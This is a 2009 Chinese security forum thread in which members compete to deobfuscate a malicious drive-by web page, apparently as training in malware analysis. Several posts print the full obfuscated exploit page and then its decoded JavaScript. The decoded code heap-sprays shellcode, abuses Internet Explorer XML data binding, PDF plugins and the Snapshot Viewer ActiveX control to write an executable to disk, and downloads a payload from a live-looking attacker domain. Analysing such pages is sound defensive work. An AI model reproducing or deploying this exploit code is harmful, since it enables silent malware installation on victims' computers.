[解密悬赏][第18期][完成]

显示全部楼层 · 发表于 2009-1-24 10:54:59

宗旨：
让更多人了解如何解密网马
规则：
1、Hunter不能参加活动
2、必须把所有木马地址全部解出，不完全解密且所发URL之前没有人解出者得到相应步骤加分
3、最好有解密软件日志，如果没有，请发出具体解密过程
4、当第一个人成功完全解密后，将根据难度给予其相应经验，所有URL全部解完之后本帖将锁定
5、如果有违反1~2条规则的情况，本帖随即锁定，之后成功解密的作废！
6、锁定后，会重新修改本次的解密地址，并且开帖！
7、为了体现悬赏帖宗旨，昨日解密成功者再次解出今天网址的只能得到对应网址70%经验

解密地址（替换HXXP为HTTP）：

hxxp://google-analitycs.lijg.ru

（状态：完成 by gankeyu @ 5L (1); 250662772 @ 10L (1); knifed @ 23L (完成)）

一次解完（包含解密步骤）=20分
分步（即未解完情况）=每步3分（第一步6分）

注意：这些地址含有恶意软件，可能会危害到您的计算机。请不要直接打开，否则因此造成的一切后果我们概不负责！
参考解密工具：
FreShow（英文）、 Redoce 1.6（中文）、malzilla （英文，但是乃神器也）
http://glacierlk.cn/openlab/jm.htm
参考解密教程：
http://bbs.kafan.cn/viewthread.php?tid=387608
http://bbs.kafan.cn/viewthread.php?tid=220550
http://bbs.kafan.cn/thread-408295-1-1.html

(时限=1天)

显示全部楼层 · 发表于 2009-1-24 10:56:56

又是一个WS的毒网

显示全部楼层 · 发表于 2009-1-24 11:21:20

占楼~~

貌似JS病毒

显示全部楼层 · 发表于 2009-1-24 11:28:33

代码获得......... 这..........是啥子加密

<html><body><object id=xmltarget classid="CLSID:88d969c5-f192-11d4-a65f-0040963251e5"></object><div id='pdfplace'></div><div id='xmlplace'></div><script>function onerrorpage(){return true;}</script><style>.dUuU3EtsF{display:none;}</style><div class="dUuU3EtsF"id="sfd">1e2v345a6l</div><script>window.onerror=onerrorpage();</script><b class="dUuU3EtsF"id="dUuU3EtsF">13.10.102.117.110.99.116.105.111.110.32.120.109.108.40.41.123.13.10.118.97.114.32.115.104.101.108.108.99.111.100.101.61.117.110.101.115.99.97.112.101.40.34.37.117.67.48.51.51.37.117.56.66.54.52.37.117.51.48.52.48.37.117.48.67.55.56.37.117.52.48.56.66.37.117.56.66.48.67.37.117.49.67.55.48.37.117.56.66.65.68.37.117.48.56.53.56.37.117.48.57.69.66.37.117.52.48.56.66.37.117.56.68.51.52.37.117.55.67.52.48.37.117.53.56.56.66.37.117.54.65.51.67.37.117.53.65.52.52.37.117.69.50.68.49.37.117.69.50.50.66.37.117.69.67.56.66.37.117.52.70.69.66.37.117.53.50.53.65.37.117.69.65.56.51.37.117.56.57.53.54.37.117.48.52.53.53.37.117.53.55.53.54.37.117.55.51.56.66.37.117.56.66.51.67.37.117.51.51.55.52.37.117.48.51.55.56.37.117.53.54.70.51.37.117.55.54.56.66.37.117.48.51.50.48.37.117.51.51.70.51.37.117.52.57.67.57.37.117.52.49.53.48.37.117.51.51.65.68.37.117.51.54.70.70.37.117.66.69.48.70.37.117.48.51.49.52.37.117.70.50.51.56.37.117.48.56.55.52.37.117.67.70.67.49.37.117.48.51.48.68.37.117.52.48.70.65.37.117.69.70.69.66.37.117.51.66.53.56.37.117.55.53.70.56.37.117.53.69.69.53.37.117.52.54.56.66.37.117.48.51.50.52.37.117.54.54.67.51.37.117.48.67.56.66.37.117.56.66.52.56.37.117.49.67.53.54.37.117.68.51.48.51.37.117.48.52.56.66.37.117.48.51.56.65.37.117.53.70.67.51.37.117.53.48.53.69.37.117.56.68.67.51.37.117.48.56.55.68.37.117.53.50.53.55.37.117.51.51.66.56.37.117.56.65.67.65.37.117.69.56.53.66.37.117.70.70.65.50.37.117.70.70.70.70.37.117.67.48.51.50.37.117.70.55.56.66.37.117.65.69.70.50.37.117.66.56.52.70.37.117.50.69.54.53.37.117.55.56.54.53.37.117.54.54.65.66.37.117.54.54.57.56.37.117.66.48.65.66.37.117.56.65.54.67.37.117.57.56.69.48.37.117.54.56.53.48.37.117.54.69.54.70.37.117.54.52.50.69.37.117.55.53.54.56.37.117.54.67.55.50.37.117.53.52.54.68.37.117.56.69.66.56.37.117.48.69.52.69.37.117.70.70.69.67.37.117.48.52.53.53.37.117.53.48.57.51.37.117.67.48.51.51.37.117.53.48.53.48.37.117.56.66.53.54.37.117.48.52.53.53.37.117.67.50.56.51.37.117.56.51.55.70.37.117.51.49.67.50.37.117.53.48.53.50.37.117.51.54.66.56.37.117.50.70.49.65.37.117.70.70.55.48.37.117.48.52.53.53.37.117.51.51.53.66.37.117.53.55.70.70.37.117.66.56.53.54.37.117.70.69.57.56.37.117.48.69.56.65.37.117.53.53.70.70.37.117.53.55.48.52.37.117.69.70.66.56.37.117.69.48.67.69.37.117.70.70.54.48.37.117.48.52.53.53.37.117.55.52.54.56.37.117.55.48.55.52.37.117.50.70.51.65.37.117.54.55.50.70.37.117.54.70.54.70.37.117.54.67.54.55.37.117.50.68.54.53.37.117.54.69.54.49.37.117.54.67.54.49.37.117.55.52.55.57.37.117.54.51.54.57.37.117.50.69.55.51.37.117.54.50.55.48.37.117.54.55.55.52.37.117.50.69.55.50.37.117.55.53.55.50.37.117.54.67.50.70.37.117.54.49.54.70.37.117.50.69.54.52.37.117.54.56.55.48.37.117.51.70.55.48.37.117.54.52.54.57.37.117.51.54.51.68.37.117.51.51.51.49.37.117.51.56.51.52.37.117.55.51.50.54.37.117.54.67.55.48.37.117.51.53.51.68.34.41.59.13.10.118.97.114.32.115.112.114.97.121.32.61.32.117.110.101.115.99.97.112.101.40.34.37.117.48.97.48.97.37.117.48.97.48.97.34.41.59.13.10.100.111.32.123.32.115.112.114.97.121.32.43.61.32.115.112.114.97.121.59.32.125.32.119.104.105.108.101.40.115.112.114.97.121.46.108.101.110.103.116.104.32.60.32.48.120.100.48.48.48.48.41.59.13.10.109.101.109.111.114.121.32.61.32.110.101.119.32.65.114.114.97.121.40.41.59.13.10.102.111.114.40.105.32.61.32.48.59.32.105.32.60.32.49.48.48.59.32.105.43.43.41.123.32.109.101.109.111.114.121.91.105.93.32.61.32.115.112.114.97.121.32.43.32.115.104.101.108.108.99.111.100.101.59.32.125.13.10.100.111.99.117.109.101.110.116.46.103.101.116.69.108.101.109.101.110.116.66.121.73.100.40.34.120.109.108.112.108.97.99.101.34.41.46.105.110.110.101.114.72.84.77.76.32.61.32.34.60.88.77.76.32.73.68.61.73.62.60.88.62.60.67.62.60.33.91.67.68.65.84.65.91.60.105.109.97.103.101.32.83.82.67.61.104.116.116.112.58.47.47.38.35.120.48.97.48.97.59.38.35.120.48.97.48.97.59.46.101.120.97.109.112.108.101.46.99.111.109.62.93.93.62.60.47.67.62.60.47.88.62.60.47.88.77.76.62.60.83.80.65.78.32.68.65.84.65.83.82.67.61.35.73.32.68.65.84.65.70.76.68.61.67.32.68.65.84.65.70.79.82.77.65.84.65.83.61.72.84.77.76.62.60.88.77.76.32.73.68.61.73.62.60.47.88.77.76.62.60.83.80.65.78.32.68.65.84.65.83.82.67.61.35.73.32.68.65.84.65.70.76.68.61.67.32.68.65.84.65.70.79.82.77.65.84.65.83.61.72.84.77.76.62.60.47.83.80.65.78.62.60.47.83.80.65.78.62.34.59.13.10.125.13.10.102.117.110.99.116.105.111.110.32.112.100.102.40.41.123.13.10.116.114.121.32.123.13.10.118.97.114.32.111.98.106.32.61.32.110.117.108.108.59.13.10.111.98.106.32.61.32.110.101.119.32.65.99.116.105.118.101.88.79.98.106.101.99.116.40.34.65.99.114.111.80.68.70.46.80.68.70.34.41.59.13.10.105.102.32.40.33.111.98.106.41.32.123.111.98.106.32.61.32.110.101.119.32.65.99.116.105.118.101.88.79.98.106.101.99.116.40.34.80.68.70.46.80.100.102.67.116.114.108.34.41.59.125.13.10.105.102.32.40.111.98.106.41.32.123.100.111.99.117.109.101.110.116.46.103.101.116.69.108.101.109.101.110.116.66.121.73.100.40.34.112.100.102.112.108.97.99.101.34.41.46.105.110.110.101.114.72.84.77.76.32.61.32.34.60.101.109.98.101.100.32.119.105.100.116.104.61.39.49.53.48.39.32.104.101.105.103.104.116.61.39.49.53.48.39.32.115.114.99.61.39.104.116.116.112.58.47.47.103.111.111.103.108.101.45.97.110.97.108.121.116.105.99.115.46.112.98.116.103.114.46.114.117.47.112.100.102.46.112.104.112.63.105.100.61.54.49.51.52.56.39.32.116.121.112.101.61.39.97.112.112.108.105.99.97.116.105.111.110.47.112.100.102.39.62.60.47.101.109.98.101.100.62.34.59.125.13.10.125.32.99.97.116.99.104.40.101.41.32.123.13.10.100.111.99.117.109.101.110.116.46.103.101.116.69.108.101.109.101.110.116.66.121.73.100.40.34.112.100.102.112.108.97.99.101.34.41.46.105.110.110.101.114.72.84.77.76.32.61.32.34.60.101.109.98.101.100.32.119.105.100.116.104.61.39.49.53.48.39.32.104.101.105.103.104.116.61.39.49.53.48.39.32.115.114.99.61.39.104.116.116.112.58.47.47.103.111.111.103.108.101.45.97.110.97.108.121.116.105.99.115.46.112.98.116.103.114.46.114.117.47.112.100.102.46.112.104.112.63.105.100.61.54.49.51.52.56.39.32.116.121.112.101.61.39.97.112.112.108.105.99.97.116.105.111.110.47.112.100.102.39.62.60.47.101.109.98.101.100.62.34.59.13.10.125.13.10.115.101.116.84.105.109.101.111.117.116.40.34.120.109.108.40.41.34.44.32.49.48.48.41.59.13.10.125.13.10.13.10.102.117.110.99.116.105.111.110.32.115.110.112.97.99.40.41.123.13.10.118.97.114.32.98.117.102.49.32.61.32.39.104.116.116.112.58.47.47.103.111.111.103.108.101.45.97.110.97.108.121.116.105.99.115.46.112.98.116.103.114.46.114.117.47.108.111.97.100.46.112.104.112.63.105.100.61.54.49.51.52.56.38.115.112.108.61.52.39.59.13.10.116.114.121.123.13.10.118.97.114.32.111.98.106.32.61.32.100.111.99.117.109.101.110.116.46.99.114.101.97.116.101.69.108.101.109.101.110.116.40.39.111.98.106.101.99.116.39.41.59.13.10.111.98.106.46.115.101.116.65.116.116.114.105.98.117.116.101.40.39.99.108.97.115.115.105.100.39.44.32.39.99.108.115.105.100.58.70.48.69.52.50.68.53.48.45.51.54.56.67.45.49.49.68.48.45.65.68.56.49.45.48.48.65.48.67.57.48.68.67.56.68.57.39.41.59.13.10.111.98.106.46.115.101.116.65.116.116.114.105.98.117.116.101.40.34.105.100.34.44.32.34.111.98.106.34.41.59.13.10.111.98.106.46.83.110.97.112.115.104.111.116.80.97.116.104.32.61.32.98.117.102.49.59.13.10.111.98.106.46.67.111.109.112.114.101.115.115.101.100.80.97.116.104.32.61.32.39.67.58.92.78.79.70.67.121.109.50.108.105.122.109.53.82.119.51.53.46.101.120.101.39.59.13.10.111.98.106.46.80.114.105.110.116.83.110.97.112.115.104.111.116.40.41.59.13.10.125.32.99.97.116.99.104.40.101.41.32.123.125.13.10.115.101.116.84.105.109.101.111.117.116.40.34.112.100.102.40.41.34.44.32.51.48.48.41.59.13.10.125.13.10.13.10.115.110.112.97.99.40.41.59.13.10</b><script>var g=document.getElementById('sfd').innerHTML.replace(/[\+123456]/g,"");var extJS=eval(g);var s=document.getElementById("dUuU3EtsF").innerHTML;s=s.replace(/[A-Za-z]/g,function (c){returnString.fromCharCode((((c=c.charCodeAt(0))&223)-52)%26+(c&32)+65);}).split(".");var p="";for(var i=0;i<s.length;i++){p+=String.fromCharCode(s);}extJS(p);</script></body></html>

显示全部楼层 · 发表于 2009-1-24 11:35:53

http://google-analytics.pbtgr.ru/pdf.php?id=61348
http://google-analytics.pbtgr.ru/pdf.php?id=61348&spl=4
http://google-analytics.pbtgr.ru/pdf.php?id=61348&spl=5
JS自定义算法

[ 本帖最后由 gankeyu 于 2009-1-24 11:36 编辑 ]

显示全部楼层 · 发表于 2009-1-24 11:37:23

要求获得EXE地址

显示全部楼层 · 发表于 2009-1-24 11:38:57

没代理。访问不了

显示全部楼层 · 发表于 2009-1-24 11:39:31

显示全部楼层 · 发表于 2009-1-24 11:42:58

你那鬼PDF解密不好用的说，不解了。

显示全部楼层 · 发表于 2009-1-24 11:50:06

原帖由 拍黄瓜 于 2009-1-24 11:28 发表
代码获得......... 这..........是啥子加密

function xml(){
var shellcode=unescape("[email=3Àd‹@0x‹@‹p ‹Xë]3Àd‹@0x‹@‹p ‹Xë[/email] [email=‹@4@|‹X<jDZÑâ+â‹ìëOZRƒêV‰UVW‹s<‹t3xóV‹v]‹@4@|‹X<jDZÑâ+â‹ìëOZRƒêV‰UVW‹s<‹t3xóV‹v[/email] ó3ÉIPA 3ÿ6¾8òtÁÏ
ú@ëïX;øuå^‹F$Ãf‹H‹VÓ‹ŠÃ_^PÃ}WR¸3ÊŠ[è¢ÿÿÿ2À‹÷ò®O¸e.ex«f˜f«°lŠà˜Phon.dhurlmT¸ŽNìÿU“P3ÀPPV‹UƒÂƒÂ1RP¸6/pÿU[3ÿWV¸˜þŠÿUW¸ïÎà`ÿUhttp://google-analytics.pbtgr.ru/load.php?id=61348&spl=5");
var spray = unescape("

");
do { spray += spray; } while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++){ memory = spray + shellcode; }
document.getElementById("xmlplace").innerHTML = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
}
function pdf(){
try {
var obj = null;
obj = new ActiveXObject("AcroPDF.PDF");
if (!obj) {obj = new ActiveXObject("PDF.PdfCtrl");}
if (obj) {document.getElementById("pdfplace").innerHTML = "<embed width='150' height='150' src='http://google-analytics.pbtgr.ru/pdf.php?id=61348' type='application/pdf'></embed>";}
} catch(e) {
document.getElementById("pdfplace").innerHTML = "<embed width='150' height='150' src='http://google-analytics.pbtgr.ru/pdf.php?id=61348' type='application/pdf'></embed>";
}
setTimeout("xml()", 100);
}

function snpac(){
var buf1 = 'http://google-analytics.pbtgr.ru/load.php?id=61348&spl=4';
try{
var obj = document.createElement('object');
obj.setAttribute('classid', 'clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9');
obj.setAttribute("id", "obj");
obj.SnapshotPath = buf1;
obj.CompressedPath = 'C:\NOFCym2lizm5Rw35.exe';
obj.PrintSnapshot();
} catch(e) {}
setTimeout("pdf()", 300);
}

snpac();

[其它] [解密悬赏][第18期][完成]

评分

回复 6楼 qianwenxiang 的帖子

回复 8楼 qianwenxiang 的帖子

评分